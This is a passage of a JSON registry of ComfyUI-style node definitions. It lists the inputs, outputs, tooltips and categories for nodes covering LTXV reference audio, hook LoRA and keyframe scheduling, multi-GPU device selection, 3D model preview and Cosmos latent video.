["CONDITIONING", {}], "reference_audio": ["AUDIO", {"tooltip": "Reference audio clip whose speaker identity to transfer. ~5 seconds recommended (training duration). Shorter or longer clips may degrade voice identity transfer."}], "audio_vae": ["VAE", {"display_name": "Audio VAE", "tooltip": "LTXV Audio VAE for encoding."}], "identity_guidance_scale": ["FLOAT", {"tooltip": "Strength of identity guidance. Runs an extra forward pass without reference each step to amplify speaker identity. Set to 0 to disable (no extra pass).", "default": 3.0, "min": 0.0, "max": 100.0, "step": 0.01, "round": 0.01}], "start_percent": ["FLOAT", {"tooltip": "Start of the sigma range where identity guidance is active.", "advanced": true, "default": 0.0, "min": 0.0, "max": 1.0, "step": 0.001}], "end_percent": ["FLOAT", {"tooltip": "End of the sigma range where identity guidance is active.", "advanced": true, "default": 1.0, "min": 0.0, "max": 1.0, "step": 0.001}]}}, "input_order": {"required": ["model", "positive", "negative", "reference_audio", "audio_vae", "identity_guidance_scale", "start_percent", "end_percent"]}, "is_input_list": false, "output": ["MODEL", "CONDITIONING", "CONDITIONING"], "output_is_list": [false, false, false], "output_name": ["MODEL", "positive", "negative"], "output_tooltips": [null, null, null], "output_matchtypes": null, "name": "LTXVReferenceAudio", "display_name": "LTXV Reference Audio (ID-LoRA)", "description": "Set reference audio for ID-LoRA speaker identity transfer. Encodes a reference audio clip into the conditioning and optionally patches the model with identity guidance (extra forward pass without reference, amplifying the speaker identity effect).", "python_module": "comfy_extras.nodes_lt", "category": "model/conditioning/ltxv", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "CreateHookLora": {"input": {"required": {"lora_name": [[]], "strength_model": ["FLOAT", {"default": 1.0, "min": -20.0, "max": 20.0, "step": 0.01}], "strength_clip": ["FLOAT", {"default": 1.0, "min": -20.0, "max": 20.0, "step": 0.01}]}, "optional": {"prev_hooks": ["HOOKS"]}}, "input_order": {"required": ["lora_name", "strength_model", "strength_clip"], "optional": ["prev_hooks"]}, "is_input_list": false, "output": ["HOOKS"], "output_is_list": [false], "output_name": ["HOOKS"], "name": "CreateHookLora", "display_name": "Create Hook LoRA", "description": "", "python_module": "comfy_extras.nodes_hooks", "category": "advanced/hooks/create", "output_node": false, "has_intermediate_output": false, "experimental": true, "search_aliases": []}, "CreateHookLoraModelOnly": {"input": {"required": {"lora_name": [[]], "strength_model": ["FLOAT", {"default": 1.0, "min": -20.0, "max": 20.0, "step": 0.01}]}, "optional": {"prev_hooks": ["HOOKS"]}}, "input_order": {"required": ["lora_name", "strength_model"], "optional": ["prev_hooks"]}, "is_input_list": false, "output": ["HOOKS"], "output_is_list": [false], "output_name": ["HOOKS"], "name": "CreateHookLoraModelOnly", "display_name": "Create Hook LoRA (MO)", "description": "", "python_module": "comfy_extras.nodes_hooks", "category": "advanced/hooks/create", "output_node": false, "has_intermediate_output": false, "experimental": true, "search_aliases": []}, "CreateHookModelAsLora": {"input": {"required": {"ckpt_name": [[]], "strength_model": ["FLOAT", {"default": 1.0, "min": -20.0, "max": 20.0, "step": 0.01}], "strength_clip": ["FLOAT", {"default": 1.0, "min": -20.0, "max": 20.0, "step": 0.01}]}, "optional": {"prev_hooks": ["HOOKS"]}}, "input_order": {"required": ["ckpt_name", "strength_model", "strength_clip"], "optional": ["prev_hooks"]}, "is_input_list": false, "output": ["HOOKS"], "output_is_list": [false], "output_name": ["HOOKS"], "name": "CreateHookModelAsLora", "display_name": "Create Hook Model as LoRA", "description": "", "python_module": "comfy_extras.nodes_hooks", "category": "advanced/hooks/create", "output_node": false, "has_intermediate_output": false, "experimental": true, "search_aliases": []}, "CreateHookModelAsLoraModelOnly": {"input": {"required": {"ckpt_name": [[]], "strength_model": ["FLOAT", {"default": 1.0, "min": -20.0, "max": 20.0, "step": 0.01}]}, "optional": {"prev_hooks": ["HOOKS"]}}, "input_order": {"required": ["ckpt_name", "strength_model"], "optional": ["prev_hooks"]}, "is_input_list": false, "output": ["HOOKS"], "output_is_list": [false], "output_name": ["HOOKS"], "name": "CreateHookModelAsLoraModelOnly", "display_name": "Create Hook Model as LoRA (MO)", "description": "", "python_module": "comfy_extras.nodes_hooks", "category": "advanced/hooks/create", "output_node": false, "has_intermediate_output": false, "experimental": true, "search_aliases": []}, "SetHookKeyframes": {"input": {"required": {"hooks": ["HOOKS"]}, "optional": {"hook_kf": ["HOOK_KEYFRAMES"]}}, "input_order": {"required": ["hooks"], "optional": ["hook_kf"]}, "is_input_list": false, "output": ["HOOKS"], "output_is_list": [false], "output_name": ["HOOKS"], "name": "SetHookKeyframes", "display_name": "Set Hook Keyframes", "description": "", "python_module": "comfy_extras.nodes_hooks", "category": "advanced/hooks/scheduling", "output_node": false, "has_intermediate_output": false, "experimental": true, "search_aliases": []}, "CreateHookKeyframe": {"input": {"required": {"strength_mult": ["FLOAT", {"default": 1.0, "min": -20.0, "max": 20.0, "step": 0.01}], "start_percent": ["FLOAT", {"default": 0.0, "min": 0.0, "max": 1.0, "step": 0.001}]}, "optional": {"prev_hook_kf": ["HOOK_KEYFRAMES"]}}, "input_order": {"required": ["strength_mult", "start_percent"], "optional": ["prev_hook_kf"]}, "is_input_list": false, "output": ["HOOK_KEYFRAMES"], "output_is_list": [false], "output_name": ["HOOK_KF"], "name": "CreateHookKeyframe", "display_name": "Create Hook Keyframe", "description": "", "python_module": "comfy_extras.nodes_hooks", "category": "advanced/hooks/scheduling", "output_node": false, "has_intermediate_output": false, "experimental": true, "search_aliases": ["hook scheduling", "strength animation", "timed hook"]}, "CreateHookKeyframesInterpolated": {"input": {"required": {"strength_start": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 10.0, "step": 0.001}], "strength_end": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 10.0, "step": 0.001}], "interpolation": [["linear", "ease_in", "ease_out", "ease_in_out"]], "start_percent": ["FLOAT", {"default": 0.0, "min": 0.0, "max": 1.0, "step": 0.001}], "end_percent": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.001}], "keyframes_count": ["INT", {"default": 5, "min": 2, "max": 100, "step": 1}], "print_keyframes": ["BOOLEAN", {"default": false, "advanced": true}]}, "optional": {"prev_hook_kf": ["HOOK_KEYFRAMES"]}}, "input_order": {"required": ["strength_start", "strength_end", "interpolation", "start_percent", "end_percent", "keyframes_count", "print_keyframes"], "optional": ["prev_hook_kf"]}, "is_input_list": false, "output": ["HOOK_KEYFRAMES"], "output_is_list": [false], "output_name": ["HOOK_KF"], "name": "CreateHookKeyframesInterpolated", "display_name": "Create Hook Keyframes Interp.", "description": "", "python_module": "comfy_extras.nodes_hooks", "category": "advanced/hooks/scheduling", "output_node": false, "has_intermediate_output": false, "experimental": true, "search_aliases": ["ease hook strength", "smooth hook transition", "interpolate keyframes"]}, "CreateHookKeyframesFromFloats": {"input": {"required": {"floats_strength": ["FLOATS", {"default": -1, "min": -1, "step": 0.001, "forceInput": true}], "start_percent": ["FLOAT", {"default": 0.0, "min": 0.0, "max": 1.0, "step": 0.001}], "end_percent": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.001}], "print_keyframes": ["BOOLEAN", {"default": false, "advanced": true}]}, "optional": {"prev_hook_kf": ["HOOK_KEYFRAMES"]}}, "input_order": {"required": ["floats_strength", "start_percent", "end_percent", "print_keyframes"], "optional": ["prev_hook_kf"]}, "is_input_list": false, "output": ["HOOK_KEYFRAMES"], "output_is_list": [false], "output_name": ["HOOK_KF"], "name": "CreateHookKeyframesFromFloats", "display_name": "Create Hook Keyframes From Floats", "description": "", "python_module": "comfy_extras.nodes_hooks", "category": "advanced/hooks/scheduling", "output_node": false, "has_intermediate_output": false, "experimental": true, "search_aliases": ["batch keyframes", "strength list to keyframes"]}, "CombineHooks2": {"input": {"required": {}, "optional": {"hooks_A": ["HOOKS"], "hooks_B": ["HOOKS"]}}, "input_order": {"required": [], "optional": ["hooks_A", "hooks_B"]}, "is_input_list": false, "output": ["HOOKS"], "output_is_list": [false], "output_name": ["HOOKS"], "name": "CombineHooks2", "display_name": "Combine Hooks [2]", "description": "", "python_module": "comfy_extras.nodes_hooks", "category": "advanced/hooks/combine", "output_node": false, "has_intermediate_output": false, "experimental": true, "search_aliases": ["merge hooks"]}, "CombineHooks4": {"input": {"required": {}, "optional": {"hooks_A": ["HOOKS"], "hooks_B": ["HOOKS"], "hooks_C": ["HOOKS"], "hooks_D": ["HOOKS"]}}, "input_order": {"required": [], "optional": ["hooks_A", "hooks_B", "hooks_C", "hooks_D"]}, "is_input_list": false, "output": ["HOOKS"], "output_is_list": [false], "output_name": ["HOOKS"], "name": "CombineHooks4", "display_name": "Combine Hooks [4]", "description": "", "python_module": "comfy_extras.nodes_hooks", "category": "advanced/hooks/combine", "output_node": false, "has_intermediate_output": false, "experimental": true, "search_aliases": []}, "CombineHooks8": {"input": {"required": {}, "optional": {"hooks_A": ["HOOKS"], "hooks_B": ["HOOKS"], "hooks_C": ["HOOKS"], "hooks_D": ["HOOKS"], "hooks_E": ["HOOKS"], "hooks_F": ["HOOKS"], "hooks_G": ["HOOKS"], "hooks_H": ["HOOKS"]}}, "input_order": {"required": [], "optional": ["hooks_A", "hooks_B", "hooks_C", "hooks_D", "hooks_E", "hooks_F", "hooks_G", "hooks_H"]}, "is_input_list": false, "output": ["HOOKS"], "output_is_list": [false], "output_name": ["HOOKS"], "name": "CombineHooks8", "display_name": "Combine Hooks [8]", "description": "", "python_module": "comfy_extras.nodes_hooks", "category": "advanced/hooks/combine", "output_node": false, "has_intermediate_output": false, "experimental": true, "search_aliases": []}, "ConditioningSetProperties": {"input": {"required": {"cond_NEW": ["CONDITIONING"], "strength": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 10.0, "step": 0.01}], "set_cond_area": [["default", "mask bounds"]]}, "optional": {"mask": ["MASK"], "hooks": ["HOOKS"], "timesteps": ["TIMESTEPS_RANGE"]}}, "input_order": {"required": ["cond_NEW", "strength", "set_cond_area"], "optional": ["mask", "hooks", "timesteps"]}, "is_input_list": false, "output": ["CONDITIONING"], "output_is_list": [false], "output_name": ["CONDITIONING"], "name": "ConditioningSetProperties", "display_name": "Cond Set Props", "description": "", "python_module": "comfy_extras.nodes_hooks", "category": "advanced/hooks/cond single", "output_node": false, "has_intermediate_output": false, "experimental": true, "search_aliases": []}, "ConditioningSetPropertiesAndCombine": {"input": {"required": {"cond": ["CONDITIONING"], "cond_NEW": ["CONDITIONING"], "strength": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 10.0, "step": 0.01}], "set_cond_area": [["default", "mask bounds"]]}, "optional": {"mask": ["MASK"], "hooks": ["HOOKS"], "timesteps": ["TIMESTEPS_RANGE"]}}, "input_order": {"required": ["cond", "cond_NEW", "strength", "set_cond_area"], "optional": ["mask", "hooks", "timesteps"]}, "is_input_list": false, "output": ["CONDITIONING"], "output_is_list": [false], "output_name": ["CONDITIONING"], "name": "ConditioningSetPropertiesAndCombine", "display_name": "Cond Set Props Combine", "description": "", "python_module": "comfy_extras.nodes_hooks", "category": "advanced/hooks/cond single", "output_node": false, "has_intermediate_output": false, "experimental": true, "search_aliases": []}, "PairConditioningSetProperties": {"input": {"required": {"positive_NEW": ["CONDITIONING"], "negative_NEW": ["CONDITIONING"], "strength": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 10.0, "step": 0.01}], "set_cond_area": [["default", "mask bounds"]]}, "optional": {"mask": ["MASK"], "hooks": ["HOOKS"], "timesteps": ["TIMESTEPS_RANGE"]}}, "input_order": {"required": ["positive_NEW", "negative_NEW", "strength", "set_cond_area"], "optional": ["mask", "hooks", "timesteps"]}, "is_input_list": false, "output": ["CONDITIONING", "CONDITIONING"], "output_is_list": [false, false], "output_name": ["positive", "negative"], "name": "PairConditioningSetProperties", "display_name": "Cond Pair Set Props", "description": "", "python_module": "comfy_extras.nodes_hooks", "category": "advanced/hooks/cond pair", "output_node": false, "has_intermediate_output": false, "experimental": true, "search_aliases": []}, "PairConditioningSetPropertiesAndCombine": {"input": {"required": {"positive": ["CONDITIONING"], "negative": ["CONDITIONING"], "positive_NEW": ["CONDITIONING"], "negative_NEW": ["CONDITIONING"], "strength": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 10.0, "step": 0.01}], "set_cond_area": [["default", "mask bounds"]]}, "optional": {"mask": ["MASK"], "hooks": ["HOOKS"], "timesteps": ["TIMESTEPS_RANGE"]}}, "input_order": {"required": ["positive", "negative", "positive_NEW", "negative_NEW", "strength", "set_cond_area"], "optional": ["mask", "hooks", "timesteps"]}, "is_input_list": false, "output": ["CONDITIONING", "CONDITIONING"], "output_is_list": [false, false], "output_name": ["positive", "negative"], "name": "PairConditioningSetPropertiesAndCombine", "display_name": "Cond Pair Set Props Combine", "description": "", "python_module": "comfy_extras.nodes_hooks", "category": "advanced/hooks/cond pair", "output_node": false, "has_intermediate_output": false, "experimental": true, "search_aliases": []}, "ConditioningSetDefaultCombine": {"input": {"required": {"cond": ["CONDITIONING"], "cond_DEFAULT": ["CONDITIONING"]}, "optional": {"hooks": ["HOOKS"]}}, "input_order": {"required": ["cond", "cond_DEFAULT"], "optional": ["hooks"]}, "is_input_list": false, "output": ["CONDITIONING"], "output_is_list": [false], "output_name": ["CONDITIONING"], "name": "ConditioningSetDefaultCombine", "display_name": "Cond Set Default Combine", "description": "", "python_module": "comfy_extras.nodes_hooks", "category": "advanced/hooks/cond single", "output_node": false, "has_intermediate_output": false, "experimental": true, "search_aliases": []}, "PairConditioningSetDefaultCombine": {"input": {"required": {"positive": ["CONDITIONING"], "negative": ["CONDITIONING"], "positive_DEFAULT": ["CONDITIONING"], "negative_DEFAULT": ["CONDITIONING"]}, "optional": {"hooks": ["HOOKS"]}}, "input_order": {"required": ["positive", "negative", "positive_DEFAULT", "negative_DEFAULT"], "optional": ["hooks"]}, "is_input_list": false, "output": ["CONDITIONING", "CONDITIONING"], "output_is_list": [false, false], "output_name": ["positive", "negative"], "name": "PairConditioningSetDefaultCombine", "display_name": "Cond Pair Set Default Combine", "description": "", "python_module": "comfy_extras.nodes_hooks", "category": "advanced/hooks/cond pair", "output_node": false, "has_intermediate_output": false, "experimental": true, "search_aliases": []}, "PairConditioningCombine": {"input": {"required": {"positive_A": ["CONDITIONING"], "negative_A": ["CONDITIONING"], "positive_B": ["CONDITIONING"], "negative_B": ["CONDITIONING"]}}, "input_order": {"required": ["positive_A", "negative_A", "positive_B", "negative_B"]}, "is_input_list": false, "output": ["CONDITIONING", "CONDITIONING"], "output_is_list": [false, false], "output_name": ["positive", "negative"], "name": "PairConditioningCombine", "display_name": "Cond Pair Combine", "description": "", "python_module": "comfy_extras.nodes_hooks", "category": "advanced/hooks/cond pair", "output_node": false, "has_intermediate_output": false, "experimental": true, "search_aliases": []}, "SetClipHooks": {"input": {"required": {"clip": ["CLIP"], "apply_to_conds": ["BOOLEAN", {"default": true, "advanced": true}], "schedule_clip": ["BOOLEAN", {"default": false, "advanced": true}]}, "optional": {"hooks": ["HOOKS"]}}, "input_order": {"required": ["clip", "apply_to_conds", "schedule_clip"], "optional": ["hooks"]}, "is_input_list": false, "output": ["CLIP"], "output_is_list": [false], "output_name": ["CLIP"], "name": "SetClipHooks", "display_name": "Set CLIP Hooks", "description": "", "python_module": "comfy_extras.nodes_hooks", "category": "advanced/hooks/clip", "output_node": false, "has_intermediate_output": false, "experimental": true, "search_aliases": []}, "ConditioningTimestepsRange": {"input": {"required": {"start_percent": ["FLOAT", {"default": 0.0, "min": 0.0, "max": 1.0, "step": 0.001}], "end_percent": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.001}]}}, "input_order": {"required": ["start_percent", "end_percent"]}, "is_input_list": false, "output": ["TIMESTEPS_RANGE", "TIMESTEPS_RANGE", "TIMESTEPS_RANGE"], "output_is_list": [false, false, false], "output_name": ["TIMESTEPS_RANGE", "BEFORE_RANGE", "AFTER_RANGE"], "name": "ConditioningTimestepsRange", "display_name": "Timesteps Range", "description": "", "python_module": "comfy_extras.nodes_hooks", "category": "advanced/hooks", "output_node": false, "has_intermediate_output": false, "experimental": true, "search_aliases": ["prompt scheduling", "timestep segments", "conditioning phases"]}, "MultiGPU_WorkUnits": {"input": {"required": {"model": ["MODEL", {}], "max_gpus": ["INT", {"default": 2, "min": 1, "step": 1}]}}, "input_order": {"required": ["model", "max_gpus"]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["MODEL"], "output_tooltips": [null], "output_matchtypes": null, "name": "MultiGPU_WorkUnits", "display_name": "MultiGPU CFG Split", "description": "Prepares model to have sampling accelerated via splitting work units.\n\nShould be placed after nodes that modify the model object itself, such as compile or attention-switch nodes.\n\nOther than those exceptions, this node can be placed in any order.", "python_module": "comfy_extras.nodes_multigpu", "category": "advanced/multigpu", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "SelectModelDevice": {"input": {"required": {"model": ["MODEL", {}], "device": ["COMBO", {"multiselect": false, "options": ["default", "cpu"]}]}}, "input_order": {"required": ["model", "device"]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["MODEL"], "output_tooltips": [null], "output_matchtypes": null, "name": "SelectModelDevice", "display_name": "Select Model Device", "description": "Place the diffusion model on a specific device (default / cpu / gpu:N).\n\n- \"default\" restores the device assigned by the loader (even after a\n prior Select Model Device call).\n- \"cpu\" pins both the load and offload device to CPU.\n- \"gpu:N\" pins the load device to the Nth available GPU; the offload\n device is restored to the loader's original choice.\n\nWhen the requested device differs from the device the input model is\nalready on, a fresh model is spawned via the loader's reload factory\n(cached_patcher_init) so the new patcher owns independent weights on\nthe new device. Loaders that don't support multigpu (no factory) will\ncause the node to pass through unchanged with a warning.\n\nIf the workflow already has MultiGPU CFG Split applied and the chosen\nGPU collides with one of the existing multigpu clones, that clone is\ndropped so two patchers don't end up bound to the same device.\n\nWhen the selected device does not exist on the current machine\n(e.g. a workflow built on a 2-GPU box opened on a 1-GPU box),\nthe node passes the model through unchanged and logs a message\ninstead of failing.\n\nNOTE: Placing Select Model Device *after* a node that has already\nconsumed the same model (e.g. a KSampler that ran on this model on\nthe original device) is not recommended -- any state the prior\nconsumer mutated on the original model will be observed when the\nselected device matches the original (fast path). Place Select Model\nDevice before any consumer of the model.", "python_module": "comfy_extras.nodes_multigpu", "category": "advanced/multigpu", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "SelectCLIPDevice": {"input": {"required": {"clip": ["CLIP", {}], "device": ["COMBO", {"multiselect": false, "options": ["default", "cpu"]}]}}, "input_order": {"required": ["clip", "device"]}, "is_input_list": false, "output": ["CLIP"], "output_is_list": [false], "output_name": ["CLIP"], "output_tooltips": [null], "output_matchtypes": null, "name": "SelectCLIPDevice", "display_name": "Select CLIP Device", "description": "Place the CLIP text encoder on a specific device (default / cpu / gpu:N).\n\n- \"default\" restores the device assigned by the loader.\n- \"cpu\" pins both the load and offload device to CPU.\n- \"gpu:N\" pins the load device to the Nth available GPU.\n\nWhen the selected device does not exist on the current machine\n(e.g. a workflow built on a 2-GPU box opened on a 1-GPU box),\nthe node passes the CLIP through unchanged and logs a message\ninstead of failing.", "python_module": "comfy_extras.nodes_multigpu", "category": "advanced/multigpu", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "SelectVAEDevice": {"input": {"required": {"vae": ["VAE", {}], "device": ["COMBO", {"multiselect": false, "options": ["default"]}]}}, "input_order": {"required": ["vae", "device"]}, "is_input_list": false, "output": ["VAE"], "output_is_list": [false], "output_name": ["VAE"], "output_tooltips": [null], "output_matchtypes": null, "name": "SelectVAEDevice", "display_name": "Select VAE Device", "description": "Place the VAE on a specific device (default / gpu:N).\n\n- \"default\" restores the device assigned by the loader.\n- \"gpu:N\" pins the load device to the Nth available GPU; the offload\n device is set to the standard VAE offload device.\n\nCPU is intentionally not exposed in the UI for the VAE; if a workflow\nsupplies \"cpu\" anyway (e.g. opened from another machine), the request\nis dropped with a log message and the VAE is passed through unchanged.\n\nWhen the selected device does not exist on the current machine\n(e.g. a workflow built on a 2-GPU box opened on a 1-GPU box),\nthe node passes the VAE through unchanged and logs a message\ninstead of failing.", "python_module": "comfy_extras.nodes_multigpu", "category": "advanced/multigpu", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "Load3D": {"input": {"required": {"model_file": ["COMBO", {"multiselect": false, "options": ["none"], "file_upload": true}], "image": ["LOAD_3D", {}], "width": ["INT", {"default": 1024, "min": 1, "max": 4096, "step": 1}], "height": ["INT", {"default": 1024, "min": 1, "max": 4096, "step": 1}]}}, "input_order": {"required": ["model_file", "image", "width", "height"]}, "is_input_list": false, "output": ["IMAGE", "MASK", "STRING", "IMAGE", "LOAD3D_CAMERA", "VIDEO", "FILE_3D", "LOAD3D_MODEL_INFO"], "output_is_list": [false, false, false, false, false, false, false, false], "output_name": ["image", "mask", "mesh_path", "normal", "camera_info", "recording_video", "model_3d", "model_3d_info"], "output_tooltips": [null, null, null, null, null, null, null, null], "output_matchtypes": null, "name": "Load3D", "display_name": "Load 3D & Animation", "description": "", "python_module": "comfy_extras.nodes_load_3d", "category": "3d", "output_node": false, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": "Basics", "has_intermediate_output": false}, "Load3DAdvanced": {"input": {"required": {"model_file": ["COMBO", {"multiselect": false, "options": ["none"], "file_upload": true}], "viewport_state": ["LOAD_3D", {}], "width": ["INT", {"default": 1024, "min": 1, "max": 4096, "step": 1}], "height": ["INT", {"default": 1024, "min": 1, "max": 4096, "step": 1}]}}, "input_order": {"required": ["model_file", "viewport_state", "width", "height"]}, "is_input_list": false, "output": ["FILE_3D", "LOAD3D_MODEL_INFO", "LOAD3D_CAMERA", "INT", "INT"], "output_is_list": [false, false, false, false, false], "output_name": ["model_3d", "model_3d_info", "camera_info", "width", "height"], "output_tooltips": [null, null, null, null, null], "output_matchtypes": null, "name": "Load3DAdvanced", "display_name": "Load 3D (Advanced)", "description": "", "python_module": "comfy_extras.nodes_load_3d", "category": "3d", "output_node": false, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["load mesh", "load gltf", "load glb", "load obj", "load fbx", "load stl"], "essentials_category": null, "has_intermediate_output": false}, "Preview3D": {"input": {"required": {"model_file": ["STRING,FILE_3D_GLB,FILE_3D_GLTF,FILE_3D_FBX,FILE_3D_OBJ,FILE_3D_STL,FILE_3D_USDZ,FILE_3D", {"default": "", "widgetType": "STRING", "multiline": false, "tooltip": "3D model file or path string"}]}, "optional": {"camera_info": ["LOAD3D_CAMERA", {"advanced": true}], "bg_image": ["IMAGE", {"advanced": true}]}, "hidden": {"prompt": ["PROMPT"], "extra_pnginfo": ["EXTRA_PNGINFO"]}}, "input_order": {"required": ["model_file"], "optional": ["camera_info", "bg_image"], "hidden": ["prompt", "extra_pnginfo"]}, "is_input_list": false, "output": [], "output_is_list": [], "output_name": [], "output_tooltips": [], "output_matchtypes": null, "name": "Preview3D", "display_name": "Preview 3D & Animation", "description": "", "python_module": "comfy_extras.nodes_load_3d", "category": "3d", "output_node": true, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["view mesh", "3d viewer"], "essentials_category": null, "has_intermediate_output": false}, "Preview3DAdvanced": {"input": {"required": {"model_3d": ["FILE_3D_GLB,FILE_3D_GLTF,FILE_3D_FBX,FILE_3D_OBJ,FILE_3D_STL,FILE_3D_USDZ,FILE_3D", {"tooltip": "3D model file from an upstream 3D node."}], "viewport_state": ["LOAD_3D", {}], "width": ["INT", {"default": 1024, "min": 1, "max": 4096, "step": 1}], "height": ["INT", {"default": 1024, "min": 1, "max": 4096, "step": 1}]}, "optional": {"model_3d_info": ["LOAD3D_MODEL_INFO", {"advanced": true}], "camera_info": ["LOAD3D_CAMERA", {"advanced": true}]}, "hidden": {"prompt": ["PROMPT"], "extra_pnginfo": ["EXTRA_PNGINFO"]}}, "input_order": {"required": ["model_3d", "viewport_state", "width", "height"], "optional": ["model_3d_info", "camera_info"], "hidden": ["prompt", "extra_pnginfo"]}, "is_input_list": false, "output": ["FILE_3D", "LOAD3D_MODEL_INFO", "LOAD3D_CAMERA", "INT", "INT"], "output_is_list": [false, false, false, false, false], "output_name": ["model_3d", "model_3d_info", "camera_info", "width", "height"], "output_tooltips": [null, null, null, null, null], "output_matchtypes": null, "name": "Preview3DAdvanced", "display_name": "Preview 3D (Advanced)", "description": "", "python_module": "comfy_extras.nodes_load_3d", "category": "3d", "output_node": true, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["preview 3d", "3d viewer", "view mesh", "frame 3d", "3d camera output"], "essentials_category": null, "has_intermediate_output": false}, "PreviewGaussianSplat": {"input": {"required": {"model_3d": ["FILE_3D_SPLAT_ANY,FILE_3D_PLY,FILE_3D_SPLAT,FILE_3D_SPZ,FILE_3D_KSPLAT", {"tooltip": "A gaussian splat 3D file."}], "viewport_state": ["LOAD_3D", {}], "width": ["INT", {"default": 1024, "min": 1, "max": 4096, "step": 1}], "height": ["INT", {"default": 1024, "min": 1, "max": 4096, "step": 1}]}, "optional": {"model_3d_info": ["LOAD3D_MODEL_INFO", {"advanced": true}], "camera_info": ["LOAD3D_CAMERA", {"advanced": true}]}, "hidden": {"prompt": ["PROMPT"], "extra_pnginfo": ["EXTRA_PNGINFO"]}}, "input_order": {"required": ["model_3d", "viewport_state", "width", "height"], "optional": ["model_3d_info", "camera_info"], "hidden": ["prompt", "extra_pnginfo"]}, "is_input_list": false, "output": ["FILE_3D_SPLAT_ANY", "LOAD3D_MODEL_INFO", "LOAD3D_CAMERA", "INT", "INT"], "output_is_list": [false, false, false, false, false], "output_name": ["model_3d", "model_3d_info", "camera_info", "width", "height"], "output_tooltips": [null, null, null, null, null], "output_matchtypes": null, "name": "PreviewGaussianSplat", "display_name": "Preview Splat", "description": "", "python_module": "comfy_extras.nodes_load_3d", "category": "3d", "output_node": true, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["view splat", "view gaussian", "view gaussian splat", "preview gaussian", "preview gaussian splat", "view 3dgs", "preview 3dgs", "preview ply", "preview spz", "preview splat", "preview ksplat"], "essentials_category": null, "has_intermediate_output": false}, "PreviewPointCloud": {"input": {"required": {"model_3d": ["FILE_3D_POINT_CLOUD_ANY,FILE_3D_PLY", {"tooltip": "Point cloud file (.ply)"}], "viewport_state": ["LOAD_3D", {}], "width": ["INT", {"default": 1024, "min": 1, "max": 4096, "step": 1}], "height": ["INT", {"default": 1024, "min": 1, "max": 4096, "step": 1}]}, "optional": {"model_3d_info": ["LOAD3D_MODEL_INFO", {"advanced": true}], "camera_info": ["LOAD3D_CAMERA", {"advanced": true}]}, "hidden": {"prompt": ["PROMPT"], "extra_pnginfo": ["EXTRA_PNGINFO"]}}, "input_order": {"required": ["model_3d", "viewport_state", "width", "height"], "optional": ["model_3d_info", "camera_info"], "hidden": ["prompt", "extra_pnginfo"]}, "is_input_list": false, "output": ["FILE_3D_POINT_CLOUD_ANY", "LOAD3D_MODEL_INFO", "LOAD3D_CAMERA", "INT", "INT"], "output_is_list": [false, false, false, false, false], "output_name": ["model_3d", "model_3d_info", "camera_info", "width", "height"], "output_tooltips": [null, null, null, null, null], "output_matchtypes": null, "name": "PreviewPointCloud", "display_name": "Preview Point Cloud", "description": "", "python_module": "comfy_extras.nodes_load_3d", "category": "3d", "output_node": true, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["view point cloud", "view pointcloud", "preview point cloud", "preview pointcloud", "preview ply"], "essentials_category": null, "has_intermediate_output": false}, "EmptyCosmosLatentVideo": {"input": {"required": {"width": ["INT", {"default": 1280, "min": 16, "max": 16384, "step": 16}], "height": ["INT", {"default": 704, "min": 16, "max": 16384, "step": 16}], "length": ["INT", {"default": 121, "min": 1, "max": 16384, "step": 8}], "batch_size": ["INT", {"default": 1, "min": 1, "max": 4096}]}}, "input_order": {"required": ["width", "height", "length", "batch_size"]}, "is_input_list": false, "output": ["LATENT"], "output_is_list": [false], "output_name": ["LATENT"], "output_tooltips": [null], "output_matchtypes": null, "name": "EmptyCosmosLatentVideo", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_cosmos", "category": "model/latent/cosmos", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "CosmosImageToVideoLatent": {"input": {"required": {"vae": ["VAE", {}], "width": ["INT", {"default": 1280, "min": 16, "max": 16384, "step": 16}], "height": ["INT", {"default": 704, "min": 16, "max": 16384, "step": 16}], "length": ["INT", {"default": 121, "min": 1, "max": 16384, "step": 8}], "batch_size": ["INT", {"default": 1, "min": 1, "max": 4096}]}, "optional": {"start_image": ["IMAGE", {}], "end_image": ["IMAGE", {}]}}, "input_order": {"required": ["vae", "width", "height", "length", "batch_size"], "optional": ["start_image", "end_image"]}, "is_input_list": false, "output": ["LATENT"], "output_is_list": [false], "output_name": ["LATENT"], "output_tooltips": [null], "output_matchtypes": null, "name": "CosmosImageToVideoLatent", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_cosmos", "category": "model/conditioning/cosmos", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, 